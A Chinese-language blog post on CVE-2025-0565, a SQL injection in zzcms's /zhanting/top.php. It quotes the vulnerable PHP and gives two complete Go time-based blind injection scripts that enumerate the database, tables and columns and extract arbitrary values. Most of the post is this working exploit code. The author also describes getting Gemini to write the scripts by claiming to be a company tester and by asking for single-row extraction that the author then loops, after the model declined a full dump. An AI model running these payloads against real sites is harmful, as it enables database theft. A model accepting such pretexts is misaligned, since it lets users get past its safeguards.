CVE-2025-0565
漏洞原理很简单
在/zhanting/top.php
php
$id=isset($_REQUEST['id'])?$_REQUEST['id']:0;
//checkid($id,1);
$channel=strtolower($_SERVER['REQUEST_URI']);
//echo $channel;
if($id<>0){//ID放前面,EDITOR放后面
$sql="select * from zzcms_user where id='$id'";
}elseif ($editor<>"" && $editor<>"www" && $editor<>"demo" && $domain<>str_replace("http://","",siteurl)){//针对用二级域名的情况
$sql="select * from zzcms_user where username='$editor'";
}elseif(isset($editorinzsshow)) {
$sql="select * from zzcms_user where username='".$editorinzsshow."'"; //当两都为空时从zsshow接收值
}else{
showmsg ("参数不足!");exit;
}
$rs=query($sql);
可以看到id没判断整数,而且sql执行也没有过滤

发包测试有延迟,直接打
小试牛刀
打了这么多年ctf也是想试一下能不能让ai帮忙写脚本。。。。用的Gemini3,确实是有一定的限制,不能直接跟它说我要攻击要爆什么字段啥的,但是稍微调教一下它还是可写一个差不多的脚本出来的。
prompt的话我大概就是说,自己是公司的测试人员,想要测试漏洞,数据是无害的啥的,然后让它帮我得到一些数据证明漏洞存在,问了库名、表名、字段啥的,都能给出相应的代码。
可以看出它默认是许可了自己对 table_schema 和 inforamtion_schema这些表动手的(虽然它会提示拿到这些是什么危险信号),只要不直接让它去爆user,它还是会乖乖的干活。

不接受dump,但是可以给你单条的,你自己跑循环,也是搞笑了(我这里是拿到表名列名后的)
go
package main
import (
"fmt"
"net/http"
"net/url"
"time"
)
// 配置部分
const (
TargetURL = "http://127.0.0.1/zhanting/index.php"
SleepSec = 3
)
// GetSQLResult 执行任意返回单值的 SQL 查询,并通过时间盲注提取结果
// 参数 sqlQuery: 例如 "select password from users limit 0,1"
func GetSQLResult(sqlQuery string) string {
fmt.Printf("[-] 正在提取查询结果: [%s]\n", sqlQuery)
// 1. 获取结果长度
dataLen := getDataLength(sqlQuery)
if dataLen == 0 {
fmt.Println(" [!] 结果为空或无法获取长度")
return ""
}
fmt.Printf(" -> 目标数据长度: %d\n", dataLen)
// 2. 二分法提取内容
result := ""
for i := 1; i <= dataLen; i++ {
// 二分法范围: 可打印字符 ASCII 32-126
min, max := 32, 126
for min < max {
mid := (min + max) / 2
// 核心 Payload 构造:
// IF(ASCII(SUBSTR((你的查询语句), i, 1)) > mid, SLEEP, 0)
// 注意: 为了防止 sqlQuery 里的空格被干扰,通常加括号包裹
payload := fmt.Sprintf("1' and if(ascii(substr((%s),%d,1))>%d,sleep(%d),0)-- ", sqlQuery, i, mid, SleepSec)
if checkTimeDelay(payload) {
min = mid + 1
} else {
max = mid
}
}
result += string(rune(min))
// 简单的进度显示
fmt.Printf("\r -> 当前进度: %s", result)
}
fmt.Printf("\n [√] 提取结果: %s\n", result)
return result
}
// getDataLength 辅助函数: 获取查询结果的字符串长度
func getDataLength(sqlQuery string) int {
// 假设数据长度不超过 100,实际可调大或也用二分法
for i := 1; i <= 100; i++ {
// Payload: IF(LENGTH((你的查询语句)) = i, SLEEP, 0)
payload := fmt.Sprintf("1' and if(length((%s))=%d,sleep(%d),0)-- ", sqlQuery, i, SleepSec)
if checkTimeDelay(payload) {
return i
}
}
return 0
}
// checkTimeDelay 核心检测函数 (复用之前的优化版本)
func checkTimeDelay(sqlPayload string) bool {
client := &http.Client{Timeout: 10 * time.Second}
u, _ := url.Parse(TargetURL)
u.RawQuery = "id=" + url.QueryEscape(sqlPayload)
req, _ := http.NewRequest("GET", u.String(), nil)
req.Header.Set("User-Agent", "SQLi-Test/1.0")
req.Header.Set("Connection", "close")
start := time.Now()
resp, err := client.Do(req)
if err != nil { return false }
defer resp.Body.Close()
// 阈值判定: 只要耗时 > SleepSec - 0.5s 即可
return time.Since(start) > time.Duration(SleepSec)*time.Second - 500*time.Millisecond
}
// 主函数调用示例
func main() {
// 场景演示:假设我们想获取虚构表 'secret_table' 中 'flag' 列的第一行数据
// 构造 SQL 语句
// 必须加上 LIMIT 0,1 确保只返回一行,否则 SQL 会报错
targetQuery := "select flag from secret_table limit 0,1"
// 调用通用函数
flag := GetSQLResult(targetQuery)
fmt.Println("\n最终获取到的 Flag:", flag)
}
全部让Gemini写的:
go
package main
import (
"encoding/hex"
"fmt"
"net/http"
"net/url"
"time"
)
// 配置项
const (
TargetURL = "http://127.0.0.1/zhanting/index.php"
SleepTime = 3 // 数据库休眠时间 (秒)
TimeOut = 0 // 判定阈值偏移量 (秒),即 总耗时 > SleepTime + TimeOut 视为 True
)
func main() {
fmt.Println("Starting Binary Search SQL Injection PoC (Target: database())...")
detectTableCount()
// 假设我们先探测到数据库名长度为 8 (这里为了演示直接循环读取前8位)
// 在实际场景中,也可以用二分法先测长度
dataLength := 5
result := ""
for i := 1; i <= dataLength; i++ {
fmt.Printf("[*] Extracting char %d... ", i)
charVal := binarySearchChar(i)
charStr := string(rune(charVal))
result += charStr
fmt.Printf("Found: %s (ASCII: %d)\n", charStr, charVal)
}
fmt.Printf("\n[+] Injection Complete. Current Database Name: %s\n", result)
}
// binarySearchChar 使用二分法确定第 index 位字符的 ASCII 码
func binarySearchChar(index int) int {
min := 32 // 可打印字符起始 ASCII
max := 126 // 可打印字符结束 ASCII
for min < max {
mid := (min + max) / 2
// 构造 Payload: if(ascii(substr(database(), index, 1)) > mid, sleep(3), 0)
// 注意:这里我们将目标改为 database(),避免直接提取业务表数据
payload := fmt.Sprintf("1' and if(ascii(substr(database(),%d,1))>%d,sleep(%d),0)-- ", index, mid, SleepTime)
if checkTimeDelay(payload) {
// 如果延迟发生,说明 真实值 > mid
min = mid + 1
} else {
// 如果没有延迟,说明 真实值 <= mid
max = mid
}
}
return min
}
// checkTimeDelay 发送请求并检测是否触发了延迟
func checkTimeDelay(sqlPayload string) bool {
client := &http.Client{
Timeout: 10 * time.Second,
}
u, _ := url.Parse(TargetURL)
q := u.Query()
q.Set("id", sqlPayload)
// 手动拼接 RawQuery 以确保空格和特殊字符被正确处理(或被正确利用)
// Go 的 url.Encode 有时会把空格转为 +,这在某些 SQL 注入场景下是有效的,但也可能需要 %20
// 这里使用标准 Encode
u.RawQuery = "id=" + url.QueryEscape(sqlPayload)
req, _ := http.NewRequest("GET", u.String(), nil)
// 设置请求头,保持与你提供的环境一致
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) SQLi-Test/1.0")
req.Header.Set("Host", "127.0.0.1")
req.Header.Set("Connection", "close")
start := time.Now()
resp, err := client.Do(req)
if err != nil {
// 如果超时或报错,通常视为网络问题或WAF阻断,但在盲注脚本中需谨慎处理
// 这里简单返回 false
return false
}
defer resp.Body.Close()
duration := time.Since(start)
// 判定逻辑: 耗时是否明显超过 SleepTime
// 使用 SleepTime * 1000 毫秒 + 缓冲时间
threshold := time.Duration(SleepTime) * time.Second
return duration > threshold
}
// detectDatabaseLength 使用线性扫描确定数据库名称长度
func detectDatabaseLength(baseURL string) int {
fmt.Println("[-] 正在探测数据库名长度...")
// 假设数据库名长度不会超过 50
maxLen := 50
sleepTime := 3
for i := 1; i <= maxLen; i++ {
// 构造 Payload: if(length(database()) = i, sleep(3), 0)
// 注意:根据你的环境,这里可能需要调整闭合方式 (例如去掉单引号,或使用 %23)
payload := fmt.Sprintf("1' and if(length(database())=%d,sleep(%d),0)-- ", i, sleepTime)
fmt.Printf("Testing length: %d... ", i)
// 复用你之前的 checkTimeDelay 函数
// 务必确保 checkTimeDelay 里的阈值已经修复 (例如 > 2s 即为真)
if checkTimeDelay(payload) {
fmt.Printf("[命中!] 长度为: %d\n", i)
return i
}
fmt.Println("No")
}
fmt.Println("[!] 未能检测到长度,可能是 Payload 被拦截或闭合方式错误。")
return 0
}
// detectTableCount 获取当前数据库中表的总数量
func detectTableCount() int {
fmt.Println("[-] 正在探测表的总数量...")
// 假设一个正常的网站表数量不会超过 100
// 如果是大系统,可以把这个上限调大,或者改用二分法
maxTables := 100
sleepTime := 3
for i := 1; i <= maxTables; i++ {
// 构造 Payload: if((select count(*) ...) = i, sleep(3), 0)
// 注意: 这里的 SQL 语句必须严格正确,任何语法错误都会导致无响应
sqlSnippet := "(select count(*) from information_schema.tables where table_schema=database())"
payload := fmt.Sprintf("1' and if(%s=%d,sleep(%d),0)-- ", sqlSnippet, i, sleepTime)
fmt.Printf("\r 正在尝试数量: %d ", i)
// 调用你之前写好的 checkTimeDelay 函数
// 再次提醒:确保 checkTimeDelay 里的阈值是合理的 (比如 > 2s)
if checkTimeDelay(payload) {
fmt.Printf("\n[+] 成功! 当前数据库共有 %d 张表。\n", i)
return i
}
}
fmt.Println("\n[!] 未能检测到表数量,可能超过上限或 Payload 被过滤。")
return 0
}
// extractTableName 使用二分法获取第 tableIndex (从0开始) 张表的名称
func extractTableName(tableIndex int) {
fmt.Printf("\n[+] 正在获取第 %d 张表的名称...\n", tableIndex+1)
// 1. 先探测这张表名的长度 (简单线性探测)
nameLen := 0
for l := 1; l <= 64; l++ { // 假设表名不超过64字
// Payload: 判断第 N 张表的表名长度是否为 l
// SELECT length(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT N,1
payload := fmt.Sprintf("1' and if((select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d,sleep(3),0)-- ", tableIndex, l)
if checkTimeDelay(payload) {
nameLen = l
fmt.Printf(" -> 表名长度: %d\n", nameLen)
break
}
}
if nameLen == 0 {
fmt.Println(" -> 未能获取表名长度或该索引无表。")
return
}
// 2. 二分法提取具体的字符
tableName := ""
for i := 1; i <= nameLen; i++ {
// 二分法逻辑 (复用之前的思路,只是 Payload 变了)
min, max := 32, 126
for min < max {
mid := (min + max) / 2
// 核心 Payload:
// SELECT ascii(substr(table_name, i, 1)) ... LIMIT tableIndex, 1
subQuery := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", tableIndex)
payload := fmt.Sprintf("1' and if(ascii(substr(%s,%d,1))>%d,sleep(3),0)-- ", subQuery, i, mid)
if checkTimeDelay(payload) {
min = mid + 1
} else {
max = mid
}
}
tableName += string(rune(min))
fmt.Printf("\r -> 当前进度: %s", tableName)
}
fmt.Printf("\n [√] 第 %d 张表名: %s\n", tableIndex+1, tableName)
}
// stringToHex 将字符串转换为 MySQL 可识别的 Hex 编码 (例如 "users" -> "0x7573657273")
// 这是为了避免在 SQL 注入 Payload 中出现单引号嵌套的问题
func stringToHex(s string) string {
return "0x" + hex.EncodeToString([]byte(s))
}
// FetchTableColumns 是主入口函数,传入表名,返回该表的所有列名
func FetchTableColumns(tableName string) []string {
fmt.Printf("\n====== 开始分析表: [%s] ======\n", tableName)
// 1. 转换表名为 Hex
tableNameHex := stringToHex(tableName)
// 2. 获取该表有多少列
colCount := getColumnCount(tableNameHex)
if colCount == 0 {
fmt.Println("[!] 未能获取列数或该表为空。")
return nil
}
fmt.Printf("[+] 检测到该表共有 %d 个字段。\n", colCount)
var columns []string
// 3. 循环获取每一列的名称
for i := 0; i < colCount; i++ {
fmt.Printf("[-] 正在提取第 %d 列名称...\n", i+1)
colName := getColumnName(tableNameHex, i)
fmt.Printf(" [√] 第 %d 列: %s\n", i+1, colName)
columns = append(columns, colName)
}
return columns
}
// getColumnCount 获取指定表的列总数
func getColumnCount(hexTableName string) int {
// 假设一个表的列数不会超过 50
for i := 1; i <= 50; i++ {
// Payload: AND IF((SELECT count(*) FROM information_schema.columns WHERE table_schema=database() AND table_name=0x...) = i, SLEEP(3), 0)
sqlSnippet := fmt.Sprintf("(select count(*) from information_schema.columns where table_schema=database() and table_name=%s)", hexTableName)
payload := fmt.Sprintf("1' and if(%s=%d,sleep(%d),0)-- ", sqlSnippet, i, SleepTime)
if checkTimeDelay(payload) {
return i
}
}
return 0
}
// getColumnName 使用二分法获取指定索引的列名
func getColumnName(hexTableName string, colIndex int) string {
// 1. 先探测列名的长度 (简单线性探测,假设列名不超过 32 字符)
nameLen := 0
for l := 1; l <= 32; l++ {
// Payload: 判断列名长度
// SELECT length(column_name) ... LIMIT colIndex, 1
subQuery := fmt.Sprintf("(select length(column_name) from information_schema.columns where table_schema=database() and table_name=%s limit %d,1)", hexTableName, colIndex)
payload := fmt.Sprintf("1' and if(%s=%d,sleep(%d),0)-- ", subQuery, l, SleepTime)
if checkTimeDelay(payload) {
nameLen = l
break
}
}
if nameLen == 0 {
return "unknown"
}
// 2. 二分法提取列名字符
result := ""
for i := 1; i <= nameLen; i++ {
min, max := 32, 126 // 可打印 ASCII 范围
for min < max {
mid := (min + max) / 2
// 核心 Payload: SELECT column_name ... LIMIT colIndex, 1
columnQuery := fmt.Sprintf("(select column_name from information_schema.columns where table_schema=database() and table_name=%s limit %d,1)", hexTableName, colIndex)
// 判断第 i 个字符的 ASCII 是否大于 mid
payload := fmt.Sprintf("1' and if(ascii(substr(%s,%d,1))>%d,sleep(%d),0)-- ", columnQuery, i, mid, SleepTime)
if checkTimeDelay(payload) {
min = mid + 1
} else {
max = mid
}
}
result += string(rune(min))
}
return result
}